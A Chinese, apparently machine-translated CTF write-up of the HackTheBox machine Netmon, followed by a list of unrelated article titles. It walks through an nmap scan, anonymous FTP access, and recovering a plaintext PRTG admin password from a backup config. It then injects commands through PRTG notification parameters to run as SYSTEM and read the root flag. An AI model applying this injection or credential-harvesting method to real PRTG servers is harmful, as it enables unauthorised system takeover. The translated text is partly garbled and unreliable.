废话不多说直接执行Nmap扫描的第一步是查看计算机正在运行的服务类型:

nmap -p- -sV -O 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-24 10:55 UTC
Nmap scan report for ip-10-10-10-152.eu-west-2.compute.internal (10.10.10.152)
Host is up (0.016s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49680/tcp open  msrpc        Microsoft Windows RPC
49681/tcp open  msrpc        Microsoft Windows RPC
49691/tcp open  msrpc        Microsoft Windows RPC
51061/tcp open  tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.04 seconds

扫描结果中最突出的是端口80上的HTTP和端口21上的FTP。我首先浏览到端口80,并看到Paessler PRTG的登录页面。这是监视设备并报告其状态(占用时间,CPU使用率,磁盘空间使用情况等)的软件。

我不幸的是,一直没有用。就目前而言,这是我可以的PRTG。我决定将目标转向FTP端口。

我连接到FTP,发现它接受匿名连接。

ncftp 10.10.10.152
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.152…                                                                                                                                                                                                                 Microsoft FTP Service
Logging in…                                                                                                                                                                                                                                 User logged in.
Logged in to 10.10.10.152.                                                                                                                                                                                                                    ncftp / > dir -A
11-20-16  10:46PM                 $RECYCLE.BIN
02-03-19  12:18AM                 1024 .rnd
11-20-16  09:59PM               389408 bootmgr
07-16-16  09:10AM                    1 BOOTNXT
02-03-19  08:05AM                 Documents and Settings
02-25-19  10:15PM                 inetpub
04-24-19  06:49AM            738197504 pagefile.sys
07-16-16  09:18AM                 PerfLogs
02-25-19  10:56PM                 Program Files
02-03-19  12:28AM                 Program Files (x86)
02-25-19  10:56PM                 ProgramData
02-03-19  08:05AM                 Recovery
02-03-19  08:04AM                 System Volume Information
02-03-19  08:08AM                 Users
02-25-19  11:49PM                 Windows

我浏览到公用文件夹以查看是否可以访问用户标志。

ncftp / > cd Users/Public/
ncftp /Users/Public > cat user.txt
[REDACTED]

这可能是我发现的最简单的用户标记之一。我尝试对根标志执行相同的操作,但没有那么多运气。

ncftp / > cd Users/Administrator/
Could not chdir to Users/Administrator/: server said: Access is denied.

我决定尝试查找PRTG的某些副本,刹车可以登录到Web尖端。PRTG的较旧版本中存在一个漏洞,其中PRTG请求运行其传感器软件的设备替换存储在PRTG配置文件中,没有任何形式的加密。继续寻找并尝试找到此配置文件。通过FTP,我导航到通常存储配置文件的位置。

ncftp / > cd "/ProgramData/Paessler/PRTG Network Monitor"
ncftp ...r/PRTG Network Monitor > dir -A
04-24-19  06:53AM       <DIR>          Configuration Auto-Backups
04-24-19  06:51AM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
04-24-19  06:51AM       <DIR>          Logs (Web Server)
04-24-19  06:56AM       <DIR>          Monitoring Database
04-24-19  07:15AM              1255809 PRTG Configuration.dat
04-24-19  06:53AM              1197689 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
04-24-19  06:52AM              1647609 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database
ncftp ...r/PRTG Network Monitor >

从输出中可以看到。有3个PRTG配置文件。我下载了所有文件,并逐一检查了每个文件,以查看其中是否存储了任何替换。

但是两个PRTG Configuration.old.bak未加密,并包含Web接口的密码。

<dbcredentials>0
</dbcredentials>
<dbpassword><!-- User: prtgadmin -->PrTg@dmin2018
</dbpassword>
<dbtimeout>60
</dbtimeout>

我厌倦了使用这些临时登录,但无法正常工作。经过一番尝试和错误后,我发现只需将密码修改为PrTg @ dmin2019而不是2018就可以登录。接下来是尝试升级我的权限,以允许我访问管理员目录并获取root标志。

我在Google上进行了一些搜索,发现机器上使用的PRTG版本容易受到命令注入入侵的攻击。在这里可以找到更详细的描述。

工作方式。PRTG本质上监视着不同设备的状态。一旦达到某个状态,就可以将其配置为执行各种任务,包括发送电子邮件,发送短信,执行脚本等。例如,当服务器发生故障时,它可以用于向管理员的电子邮件地址发送警告消息,刹车管理员进行调查。命令注入通过执行脚本通知函数。设备达到特定状态后,可以将PRTG配置为运行脚本。

无法通过Web接口添加脚本。它们需要上载到服务器的C:/程序文件(x86)/ PRTG网络监视器/自定义传感器/ EXE /目录。然后可以通过PRTG Web接口将其选择为自定义通知。

我试图通过FTP上载反向Powershell脚本到此目录,但是很遗憾,我没有拥有所需的特权。

ncftp ...tor/Custom Sensors/EXE > put rev.ps1
put rev.ps1: server said: Access is denied.

在上面的链接中发现的命令注入发现该目录中已经存储了两个样式脚本。您可以在PRTG Web接口中包含要运行的脚本的参数。这些参数根本没有清除,或者直接传递到powershell中。由于PRTG在系统帐户下运行,因此作为参数传递的任何命令都将作为系统运行。我决定通过在参数输入中输入以下命令来进行进行测试:

test.txt;tree /f c:\Users\Administrator > c:\output.txt


我保存了此通知模板,然后需要将其添加到设备中以重置运行。我打开DNS ping传感器,因为它总是失败。

该通知已添加到传感器,并配置为在设备关闭60秒后运行。由于传感器始终处于关闭状态,这意味着通知将立即运行。将通知保存到传感器后,我通过FTP浏览到C:的根目录,以查看我的文件是否存在以及代码是否成功运行。

ncftp 10.10.10.152
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.152...
Microsoft FTP Service
Logging in...
User logged in.
Logged in to 10.10.10.152.
ncftp / > dir -A
11-20-16  10:46PM       <DIR>          $RECYCLE.BIN
02-03-19  12:18AM                 1024 .rnd
11-20-16  09:59PM               389408 bootmgr
07-16-16  09:10AM                    1 BOOTNXT
02-03-19  08:05AM       <DIR>          Documents and Settings
02-25-19  10:15PM       <DIR>          inetpub
04-24-19  12:58PM                 1402 output.txt
04-24-19  07:24AM            738197504 pagefile.sys
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-25-19  10:56PM       <DIR>          ProgramData
02-03-19  08:05AM       <DIR>          Recovery
02-03-19  08:04AM       <DIR>          System Volume Information
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
ncftp / >

如您所见,该代码看起来已成功运行。有一个名为output.txt的文件,当我下载并查看它时,将成功显示管理员文件夹的目录结构。

cat output.txt
Folder PATH listingVolume serial number is 00000200 684B:9CE8C:\USERS\ADMINISTRATOR├───Contacts├───Desktop│       root.txt│       ├───Documents├───Downloads├───Favorites├───Links├───Music├───Pictures├───Saved Games├───Searches└───Videos

从此输出中,我们可以看到所需的root.txt标志的正确位置。知道我们现在可以以系统用户身份运行代码。我创建最后一个PRTG通知以获取root.txt的内容使其复制到根目录,,骑士我可以重新读取它。我通过更改参数变量来执行此操作,因此它运行命令“ more root.txt”的转换通过管道传递到根目录,而不是运行tree命令。完整的命令是:

test.txt;more c:\Users\Administrator\Desktop\root.txt > c:\output.txt

我重复使用新命令描述的步骤,并等待output.txt文件被更新。更新后,我将下载新的output.txt文件并查看内容。

root@kali:~/Documents/netmon# cat output.txt
[REDACTED]

关注微信公众号:知柯信息安全 获取更多资讯
文章:Xtrato
排版:知柯-匿名者

对HackTheBox里面的Netmon进行攻破相关推荐

  1. PyTorch里面的torch.nn.Parameter()

    在刷官方Tutorial的时候发现了一个用法self.v = torch.nn.Parameter(torch.FloatTensor(hidden_size)),看了官方教程里面的解释也是云里雾里, ...

  2. servlet里面的context,定义属性值的事情!

    servlet里面的context,定义属性值. 在尚未指定属性值的时候.不管谁调用,都是NULL. 但是,一旦指定了属性值.那么,再次调用就是之间指定的数值啦! 而且,是象mapping一样存储对象 ...

  3. jQuery里面的datepicker日期控件默认是显示英文的,如何显示中文或其他语言呢?...

    jQuery里面的datepicker日期控件默认是显示英文的,如何让他显示中文或其他呢? [官方的写法]: (1)引入JS文件: <script type="text/javascr ...

  4. Angularjs $scope 里面的$apply 方法 和 $watch 方法

    Angularjs $scope 里面的$apply 方法 和 $watch 方法 学习要点: 1. Angularjs $scope 里面的$apply 方法 2. Angularjs $scope ...

  5. Android stdio build.gradle buildscript 里面的repositories 和allprojects里面 repositories 的区别

    第一段 buildscript 里面的 repositories 表示只有编译工具才会用这个仓库. 比如 buildscript 里面的 dependencies classpath 'com.and ...

  6. JAVA里面的int类型 和Integer类型,有什么不一样

    JAVA里面的int类型 和Integer类型,有什么不一样 原创 2013年09月04日 23:15:11 标签: java / 2120 编辑 删除 JAVA里面的int类型 和Integer类型 ...

  7. 对于C#里面的this与base

    如果说你父类里面有一个成员比如int a;那么你子类里面也可以再定义一个int a,这个时候base.a和this.a表示的就不是一个变量了,如果说子类里面没有,那么base.a和this.a表示的都 ...

  8. 开启Windows8里面的Hyper-V虚拟机功能

    首先了解下什么是Hyper-V?也就是虚拟化技术,允许终端用户在同一台机器上运行多个操作系统,支持32位和64位系统,可以直接在Windows 8上创建自己的虚拟机.开启Hyper-V虚拟机需要更多的 ...

  9. m_Orchestrate learning system---二十四、thinkphp里面的ajax如何使用

    m_Orchestrate learning system---二十四.thinkphp里面的ajax如何使用 一.总结 一句话总结:其实ajax非常简单:前台要做的事情就是发送ajax请求过来,后台 ...

最新文章

  1. 网络视频:企业营销新机遇
  2. Linux下文本处理命令的使用
  3. T6 s1 day19
  4. java个人支付系统(springboot)
  5. python分析犯罪数据_使用 SparkSQL 分析纽约市犯罪数据
  6. UI测试常见BUG汇总
  7. CDN帮助网站加速的方法
  8. C#——后台管理端多级菜单的生成方式
  9. RabbitMQ 幂等性概念及业界主流解决方案
  10. 正则表达式在python中的应用_详解Python中的正则表达式的用法
  11. Python大佬分析了15万歌词,告诉你民谣歌手们到底在唱什么
  12. [Unity3D]自制UnityForAndroid二维码扫描插件
  13. 最新b站后端源码,仅学习使用,请勿用于商业用途,如拿去非法使用与本人无关!
  14. 【ArcGIS微课1000例】0032:ArcGIS中河流(曲线)、湖泊(水体色)图例制作案例教程
  15. 平安京因服务器升级维护无法,《阴阳师》手游12月31日维护更新公告
  16. matlab中如何转动三维图_MATLAB小技巧之:绕任意空间轴旋转三维图形
  17. UDDI和FWSI技术委员会宣布关闭
  18. 短视频+电商直播,未来可期!
  19. 重启w7计算机按那个键,win7电脑重启的快捷键
  20. 大厂出品的免费精品Markdown文档编辑器推荐,支持无限树状目录结构

热门文章

  1. 同程联盟景点门票动态程序 beta1.0源码
  2. 2020年南京大学软件工程考研上岸经验帖
  3. 征服微信小程序视频教程-李宁-专题视频课程
  4. 硅谷一万清华人,为何打不过印度人
  5. 我国计算机的创新,浅析计算机技术的创新过程
  6. Linux 学习目录
  7. 浙师大oj1435最小公倍数
  8. 子网掩码取反怎么取_反掩码的使用地方
  9. c语言初阶(2-函数-上篇)
  10. 计算机毕业设计ssm大学生比赛信息管理系统38iiq系统+程序+源码+lw+远程部署